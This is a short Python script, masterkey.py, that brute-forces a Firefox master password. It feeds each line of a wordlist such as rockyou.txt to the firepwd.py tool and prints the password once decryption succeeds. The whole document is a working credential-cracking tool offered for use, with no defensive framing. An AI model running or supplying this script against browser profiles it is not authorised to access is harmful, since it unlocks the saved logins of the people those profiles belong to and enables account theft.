masterkey.py

#!/usr/bin/python

import sys
from subprocess import Popen, PIPE
#Usage python masterkey.py rockyou.txt
f = open(sys.argv[1], 'r')
for line in f:
    password = line.strip()
    p = Popen(['./firepwd.py','-p',password,'-d','./'], stdout=PIPE)
    output = p.stdout.read()
    if output.find('decrypting') != -1 :
        print "[+] master Password: " + password
        sys.exit(0)
    print "[-] Failed with Master password: " + password